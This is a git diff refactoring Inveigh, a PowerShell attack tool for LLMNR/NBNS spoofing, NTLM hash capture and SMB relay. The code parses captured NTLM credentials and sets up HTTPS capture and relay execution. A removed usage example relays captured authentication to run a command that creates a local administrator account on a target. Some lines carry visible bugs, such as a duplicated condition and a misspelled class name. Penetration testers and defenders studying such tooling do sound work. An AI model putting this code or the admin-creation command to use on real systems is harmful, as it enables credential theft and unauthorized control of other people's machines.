1.2 prep

Removed the ability to launch Inveigh-Relay directly from Inveigh. Added
@joncave's parsing functions to Inveigh-Relay and Inveigh-Unprivileged.
Added some some code to help keep track or the SMB capture sequence.
This will hopefully prevent SMB challenge/response mismatches due to the
firewall interference issue reported by @Meatballs1.
http://stackoverflow.com/questions/4840902/unable-to-read-incoming-responses-using-raw-sockets/5127784#5127784

3 files changed, 247 insertions, 285 deletions

diff --git a/Scripts/Inveigh-Relay.ps1 b/Scripts/Inveigh-Relay.ps1
index f8ce03e..3a5829a 100644
--- a/Scripts/Inveigh-Relay.ps1
+++ b/Scripts/Inveigh-Relay.ps1
@@ -127,6 +127,11 @@ if ($invalid_parameter)
     throw "$($invalid_parameter) is not a valid parameter."
 }
 
+if($inveigh.HTTP -or $inveigh.HTTPS)
+{
+    throw "You must stop stop other Inveigh HTTP/HTTPS listeners before running this module."
+}
+
 if(!$SMBRelayTarget)
 {
     throw "You must specify an -SMBRelayTarget if enabling -SMBRelay"
@@ -165,7 +170,7 @@ if($inveigh.HTTP_listener.IsListening)
     $inveigh.HTTP_listener.Close()
 }
 
-if(!$inveigh.running)
+if(!$inveigh.running -or !$inveigh.running)
 {
     $inveigh.console_queue = New-Object System.Collections.ArrayList
     $inveigh.status_queue = New-Object System.Collections.ArrayList
@@ -229,118 +234,125 @@ else
 }
 
 # Write startup messages
-if(!$inveigh.running)
+$inveigh.status_queue.Add("Inveigh Relay started at $(Get-Date -format 's')") > $null
+$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay started")]) > $null
+
+$firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'}
+
+if($firewall_status)
 {
-    $inveigh.status_queue.Add("Inveigh Relay started at $(Get-Date -format 's')") > $null
-    $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay started")]) > $null
+    $inveigh.status_queue.Add("Windows Firewall = Enabled")  > $null
+}
 
-    $firewall_status = netsh advfirewall show allprofiles state | where {$_ -match 'ON'}
+if($HTTP -eq 'Y')
+{
+    $inveigh.HTTP = $true
+    $inveigh.status_queue.Add("HTTP Capture Enabled")  > $null
+}
+else
+{
+    $inveigh.HTTP = $false
+    $inveigh.status_queue.Add("HTTP Capture Disabled")  > $null
+}
 
-    if($firewall_status)
-    {
-        $inveigh.status_queue.Add("Windows Firewall = Enabled")  > $null
-    }
+if($HTTPS -eq 'Y')
+{
 
-    if($HTTP -eq 'Y')
+    try
     {
-        $inveigh.HTTP = $true
-        $inveigh.status_queue.Add("HTTP Capture Enabled")  > $null
+        $inveigh.HTTPS = $true
+        $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine")
+        $certificate_store.Open('ReadWrite')
+        $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
+        $certificate.Import($PWD.Path + "\Inveigh.pfx")
+        $certificate_store.Add($certificate) 
+        $certificate_store.Close()
+        $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint
+        $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}"
+        $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID)
+        & "netsh" $netsh_arguments > $null
+        $inveigh.status_queue.Add("HTTPS Capture Enabled")  > $null
     }
-    else
+    catch
     {
-        $inveigh.HTTP = $false
-        $inveigh.status_queue.Add("HTTP Capture Disabled")  > $null
+        $certificate_store.Close()
+        $HTTPS="N"
+        $inveigh.HTTPS = $false
+        $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Install Error")  > $null
     }
 
-    if($HTTPS -eq 'Y')
-    {
-
-        try
-        {
-            $inveigh.HTTPS = $true
-            $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine")
-            $certificate_store.Open('ReadWrite')
-            $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
-            $certificate.Import($PWD.Path + "\Inveigh.pfx")
-            $certificate_store.Add($certificate) 
-            $certificate_store.Close()
-            $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint
-            $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}"
-            $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID)
-            & "netsh" $netsh_arguments > $null
-            $inveigh.status_queue.Add("HTTPS Capture Enabled")  > $null
-        }
-        catch
-        {
-            $certificate_store.Close()
-            $HTTPS="N"
-            $inveigh.HTTPS = $false
-            $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Install Error")  > $null
-        }
+}
+else
+{
+    $inveigh.status_queue.Add("HTTPS Capture Disabled")  > $null
+}
 
-    }
-    else
-    {
-        $inveigh.status_queue.Add("HTTPS Capture Disabled")  > $null
-    }
+if($Challenge)
+{
+    $Inveigh.challenge = $challenge
+    $inveigh.status_queue.Add("NTLM Challenge = $Challenge")  > $null
+}
 
-    if($Challenge)
-    {
-        $Inveigh.challenge = $challenge
-        $inveigh.status_queue.Add("NTLM Challenge = $Challenge")  > $null
-    }
+if($MachineAccounts -eq 'N')
+{
+    $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null
+    $inveigh.machine_accounts = $false
+}
+else
+{
+    $inveigh.machine_accounts = $true
+}
 
-    if($MachineAccounts -eq 'N')
-    {
-        $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null
-        $inveigh.machine_accounts = $false
-    }
-    else
-    {
-        $inveigh.machine_accounts = $true
-    }
+$inveigh.status_queue.Add("Force WPAD Authentication = $WPADAuth") > $null
 
-    $inveigh.status_queue.Add("Force WPAD Authentication = $WPADAuth") > $null
+if($ConsoleOutput -eq 'Y')
+{
+    $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null
+    $inveigh.console_output = $true
+}
+else
+{
 
-    if($ConsoleOutput -eq 'Y')
+    if($inveigh.tool -eq 1)
     {
-        $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null
-        $inveigh.console_output = $true
+        $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null
     }
     else
     {
+        $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null
+    }
 
-        if($inveigh.tool -eq 1)
-        {
-            $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null
-        }
-        else
-        {
-            $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null
-        }
+}
 
-    }
+if($FileOutput -eq 'Y')
+{
 
-    if($FileOutput -eq 'Y')
+    if($inveigh.file_output)
     {
-        $inveigh.status_queue.Add("Real Time File Output Enabled") > $null
-        $inveigh.status_queue.Add("Output Directory = $output_directory") > $null
-        $inveigh.file_output = $true
+        $inveigh.file_output = $false      
     }
     else
     {
-        $inveigh.status_queue.Add("Real Time File Output Disabled") > $null
+        $inveigh.file_output = $true
     }
 
-    if($RunTime -eq 1)
-    {
-        $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null
-    }
-    elseif($RunTime -gt 1)
-    {
-        $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null
-    }
+    $inveigh.status_queue.Add("Real Time File Output Enabled") > $null
+    $inveigh.status_queue.Add("Output Directory = $output_directory") > $null
+    $inveigh.file_output = $true
+
+}
+else
+{
+    $inveigh.status_queue.Add("Real Time File Output Disabled") > $null
+}
 
+if($RunTime -eq 1)
+{
+    $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null
+}
+elseif($RunTime -gt 1)
+{
+    $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null
 }
 
 $inveigh.status_queue.Add("SMB Relay Enabled")  > $null
@@ -439,37 +451,34 @@ $process_ID = $process_ID -replace "-00-00",""
 # Shared Basic functions ScriptBlock
 $shared_basic_functions_scriptblock =
 {
-    function DataToUInt16($field)
-    {
-	   [Array]::Reverse($field)
-	   return [System.BitConverter]::ToUInt16($field,0)
-    }
 
-    function DataToUInt32($field)
+    function DataLength2
     {
-	   [Array]::Reverse($field)
-	   return [System.BitConverter]::ToUInt32($field,0)
+        param ([Int]$length_start,[Byte[]]$string_extract_data)
+
+        $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0)
+        return $string_length
     }
 
-    function DataLength
+    function DataLength4
     {
         param ([Int]$length_start,[Byte[]]$string_extract_data)
 
-        $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0)
+        $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0)
         return $string_length
     }
 
     function DataToString
     {
-        param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data)
+        param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data)
 
-        $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)])
+        $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)])
         $string_data = $string_data -replace "-00",""
         $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
         $string_extract = New-Object System.String ($string_data,0,$string_data.Length)
-
         return $string_extract
     }
+
 }
 
 # SMB NTLM functions ScriptBlock - function for parsing NTLM challenge/response
@@ -571,7 +580,7 @@ $SMB_relay_challenge_scriptblock =
             
             if($SMBRelayNetworkTimeout)
             {
-                $SMB_relay_challenge_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout
+                $SMB_relay_challenge_timeout = New-TimeSpan -Seconds $SMBRelayNetworkTimeout
                 $SMB_relay_challenge_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
                 
                 while(!$SMB_relay_challenge_stream.DataAvailable)
@@ -670,7 +679,7 @@ $SMB_relay_response_scriptblock =
             
             if($SMBRelayNetworkTimeout)
             {
-                $SMB_relay_response_timeout = New-Timespan -Seconds $SMBRelayNetworkTimeout
+                $SMB_relay_response_timeout = New-TimeSpan -Seconds $SMBRelayNetworkTimeout
                 $SMB_relay_response_stopwatch = [Sustem.Diagnostics.Stopwatch]::StartNew()
                     
                 while(!$SMB_relay_response_stream.DataAvailable)
@@ -916,7 +925,7 @@ $SMB_relay_execute_scriptblock =
             
             if($SMBRelayNetworkTimeout)
             {
-                $SMB_relay_execute_timeout = New-Timespan -Seconds $SMBRelayNetworkTimeout
+                $SMB_relay_execute_timeout = New-TimeSpan -Seconds $SMBRelayNetworkTimeout
                 $SMB_relay_execute_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
                 
                 while(!$SMB_relay_execute_stream.DataAvailable)
@@ -1070,7 +1079,7 @@ $HTTP_scriptblock =
         }
         else
         {
-            $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
+            $HTTP_challenge_bytes = [String](1..8 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
             $HTTP_challenge = $HTTP_challenge_bytes -replace ' ',''
             $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
         }
@@ -1185,9 +1194,9 @@ $HTTP_scriptblock =
                         $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-",""
                         $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000")
                         $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2
-                        $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes
+                        $SMB_domain_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes
                         $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)]
-                        $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes
+                        $SMB_target_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes
                         $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)]
                         $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)]
                         $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)]
@@ -1226,10 +1235,10 @@ $HTTP_scriptblock =
             elseif ($HTTP_request_bytes[8] -eq 3)
             {
                 $NTLM = 'NTLM'
-                $HTTP_NTLM_offset = $HTTP_request_bytes[24]
-                $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes
-                $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes
-                $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes
+                $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes
+                $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes
+                $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes
+                $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes
                 [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + '*'
                 $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge)
                 $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1)
@@ -1240,13 +1249,15 @@ $HTTP_scriptblock =
                 }
                 else
                 {  
-                    $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
+                    $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes
                 } 
                     
-                $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes
-                $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
-                $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes
-                $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes
+                $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes
+                $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes
+                $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes
+                $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes
+                $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes
+                $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes
         
                 if($HTTP_NTLM_length -eq 24) # NTLMv1
                 {
@@ -1406,7 +1417,7 @@ $control_relay_scriptblock =
 
     if($RunTime)
     {    
-        $control_timeout = New-Timespan -Minutes $RunTime
+        $control_timeout = New-TimeSpan -Minutes $RunTime
         $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
     }
        
@@ -1467,7 +1478,7 @@ $control_relay_scriptblock =
 
         }
 
-        if($inveigh.file_output -and (!$inveigh.running -or !$inveigh.bruteforce_running))
+        if($inveigh.file_output -and $inveigh.relay_file_output)
         {
 
             while($inveigh.log_file_queue.Count -gt 0)
@@ -1559,7 +1570,7 @@ if($RunTime -or $inveigh.file_output)
     ControlRelayLoop
 }
 
-if(!$inveigh.running -and $inveigh.console_output)
+if($inveigh.console_output)
 {
 
     :console_loop while($inveigh.relay_running -and $inveigh.console_output)
@@ -1654,7 +1665,7 @@ function Stop-Inveigh
 
     if($inveigh)
     {
-        if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running)
+        if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running)
         {
 
             if($inveigh.HTTP_listener.IsListening)
@@ -1663,21 +1674,21 @@ function Stop-Inveigh
                 $inveigh.HTTP_listener.Close()
             }
             
-            if($inveigh.bruteforce_running)
+            if($inveigh.unprivileged_running)
             {
-                $inveigh.bruteforce_running = $false
+                $inveigh.unprivileged_running = $false
                 Write-Output("$(Get-Date -format 's') - Attempting to stop HTTP listener")
                 $inveigh.HTTP_listener.server.blocking = $false
                 Start-Sleep -s 1
                 $inveigh.HTTP_listener.server.Close()
                 Start-Sleep -s 1
                 $inveigh.HTTP_listener.Stop()
-                Write-Output("Inveigh Brute Force exited at $(Get-Date -format 's')")
-                $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Brute Force exited")  > $null
+                Write-Output("Inveigh Unprivileged exited at $(Get-Date -format 's')")
+                $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Unprivileged exited")  > $null
 
                 if($inveigh.file_output)
                 {
-                    "$(Get-Date -format 's') - Inveigh Brute Force exited" | Out-File $Inveigh.log_out_file -Append
+                    "$(Get-Date -format 's') - Inveigh Unprivileged exited" | Out-File $Inveigh.log_out_file -Append
                 }
 
             }
@@ -1980,12 +1991,12 @@ function Watch-Inveigh
     if($inveigh.tool -ne 1)
     {
 
-        if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running)
+        if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running)
         {
             Write-Output "Press any key to stop real time console output"
             $inveigh.console_output = $true
 
-            :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output))
+            :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output))
             {
 
                 while($inveigh.console_queue.Count -gt 0)
@@ -2082,7 +2093,7 @@ function Clear-Inveigh
     if($inveigh)
     {
 
-        if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running)
+        if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.unprivileged_running)
         {
             Remove-Variable inveigh -scope global
             Write-Output "Inveigh data has been cleared from memory"
diff --git a/Scripts/Inveigh-Unprivileged.ps1 b/Scripts/Inveigh-Unprivileged.ps1
index 97f35b4..e81e6a4 100644
--- a/Scripts/Inveigh-Unprivileged.ps1
+++ b/Scripts/Inveigh-Unprivileged.ps1
@@ -65,7 +65,7 @@ Default = WPAD: Specify a hostname for NBNS spoofing.
 .PARAMETER NBNSBruteForce
 Default = Disabled: (Y/N) Enable/Disable NBNS brute force spoofing.
 
-.PARAMETER NBNSPause
+.PARAMETER NBNSBruteForcePause
 Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after
 an incoming HTTP request is received.
 
@@ -345,7 +345,7 @@ else
 $inveigh.status_queue.Add("Inveigh Unprivileged started at $(Get-Date -format 's')") > $null
 $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Unprivileged started")])  > $null
 
-$firewall_status = netsh advfirewall show allprofiles state | where {$_ -match 'ON'}
+$firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'}
 
 if($firewall_status)
 {
@@ -639,19 +639,28 @@ if($inveigh.status_output)
 # Shared Basic functions ScriptBlock
 $shared_basic_functions_scriptblock =
 {
-    function DataLength
+
+    function DataLength2
+    {
+        param ([Int]$length_start,[Byte[]]$string_extract_data)
+
+        $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0)
+        return $string_length
+    }
+
+    function DataLength4
     {
         param ([Int]$length_start,[Byte[]]$string_extract_data)
 
-        $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0)
+        $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0)
         return $string_length
     }
 
     function DataToString
     {
-        param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data)
+        param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data)
 
-        $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)])
+        $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)])
         $string_data = $string_data -replace "-00",""
         $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
         $string_extract = New-Object System.String ($string_data,0,$string_data.Length)
@@ -851,10 +860,10 @@ $HTTP_scriptblock =
             elseif ($HTTP_request_bytes[8] -eq 3)
             {
                 $NTLM = 'NTLM'
-                $HTTP_NTLM_offset = $HTTP_request_bytes[24]
-                $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes
-                $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes
-                $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes
+                $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes
+                $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes
+                $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes
+                $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes
                 [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + '*'
                 $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge)
                 $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1)
@@ -865,13 +874,15 @@ $HTTP_scriptblock =
                 }
                 else
                 {  
-                    $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
+                    $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes
                 } 
                     
-                $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes
-                $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
-                $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes
-                $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes
+                $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes
+                $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes
+                $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes
+                $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes
+                $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes
+                $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes
         
                 if($HTTP_NTLM_length -eq 24) # NTLMv1
                 {
@@ -1422,13 +1433,13 @@ $control_unprivileged_scriptblock =
 
     if($RunTime)
     {    
-        $control_timeout = new-timespan -Minutes $RunTime
+        $control_timeout = New-TimeSpan -Minutes $RunTime
         $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
     }
 
     if($NBNSBruteForcePause)
     {   
-        $NBNS_pause = new-timespan -Seconds $NBNSBruteForcePause
+        $NBNS_pause = New-TimeSpan -Seconds $NBNSBruteForcePause
     }
        
     while ($inveigh.unprivileged_running)
@@ -1648,7 +1659,7 @@ if($inveigh.console_output)
 
     if($ConsoleStatus)
     {    
-        $console_status_timeout = new-timespan -Minutes $ConsoleStatus
+        $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus
         $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
     }
 
diff --git a/Scripts/Inveigh.ps1 b/Scripts/Inveigh.ps1
index 907a8e3..e4c77a0 100644
--- a/Scripts/Inveigh.ps1
+++ b/Scripts/Inveigh.ps1
@@ -124,31 +124,11 @@ prevent login requests from being processed by the Inveigh host.
 
 .PARAMETER Challenge
 Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a
-random challenge will be generated for each request. This will only be used for non-relay captures.
+random challenge will be generated for each request.
 
 .PARAMETER MachineAccounts
 Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts.
 
-.PARAMETER SMBRelay
-Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory.
-
-.PARAMETER SMBRelayTarget
-IP address of system to target for SMB relay.
-
-.PARAMETER SMBRelayCommand
-Command to execute on SMB relay target.
-
-.PARAMETER SMBRelayUsernames
-Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and
-domain\username format. 
-
-.PARAMETER SMBRelayAutoDisable
-Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target.
-
-.PARAMETER SMBRelayNetworkTimeout
-Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay
- target after each packet is sent.
-
 .PARAMETER ConsoleOutput
 Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to
 ensure that it doesn't hang the shell.
@@ -220,12 +200,7 @@ useful for sending traffic to a controlled Linux system on another subnet.
 
 .EXAMPLE
 Invoke-Inveigh -HTTPResponse "<html><head><meta http-equiv='refresh' content='0; url=https://duckduckgo.com/'></head></html>"
-Execute specifying an HTTP redirect response.
-
-.EXAMPLE
-Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2016 /add && net localgroup administrators Dave /add"
-Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay
-target.  
+Execute specifying an HTTP redirect response. 
 
 .NOTES
 1. An elevated administrator or SYSTEM shell is needed.
@@ -261,8 +236,6 @@ param
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y",
-    [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelay="N",
-    [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelayAutoDisable="Y",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADEmptyFile="Y",
     [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0",
     [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth="NTLM",
@@ -271,7 +244,6 @@ param
     [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP="",
     [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="",
     [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "",
-    [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SMBRelayTarget ="",
     [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir="",
     [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="",
     [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="",
@@ -279,14 +251,12 @@ param
     [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore="",
     [parameter(Mandatory=$false)][Array]$SpooferIPsReply="",
     [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore="",
-    [parameter(Mandatory=$false)][Array]$SMBRelayUsernames="",
     [parameter(Mandatory=$false)][Array]$WPADDirectHosts="",
     [parameter(Mandatory=$false)][Int]$ConsoleStatus="",
     [parameter(Mandatory=$false)][Int]$LLMNRTTL="30",
     [parameter(Mandatory=$false)][Int]$NBNSTTL="165",
     [parameter(Mandatory=$false)][Int]$WPADPort="",
     [parameter(Mandatory=$false)][Int]$RunTime="",
-    [parameter(Mandatory=$false)][Int]$SMBRelayNetworkTimeout="",
     [parameter(Mandatory=$false)][String]$HTTPBasicRealm="IIS",
     [parameter(Mandatory=$false)][String]$HTTPDefaultFile="",
     [parameter(Mandatory=$false)][String]$HTTPDefaultEXE="",
@@ -294,7 +264,6 @@ param
     [parameter(Mandatory=$false)][String]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF",
     [parameter(Mandatory=$false)][String]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d",
     [parameter(Mandatory=$false)][String]$WPADResponse="",
-    [parameter(Mandatory=$false)][String]$SMBRelayCommand="",
     [parameter(Mandatory=$false)][Switch]$Inspect,
     [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
 )
@@ -314,30 +283,6 @@ if(!$SpooferIP)
     $SpooferIP = $IP  
 }
 
-if($SMBRelay -eq 'Y')
-{
-
-    if(!$SMBRelayTarget)
-    {
-        throw "You must specify an -SMBRelayTarget if enabling -SMBRelay"
-    }
-
-    if(!$SMBRelayCommand)
-    {
-        throw "You must specify an -SMBRelayCommand if enabling -SMBRelay"
-    }
-
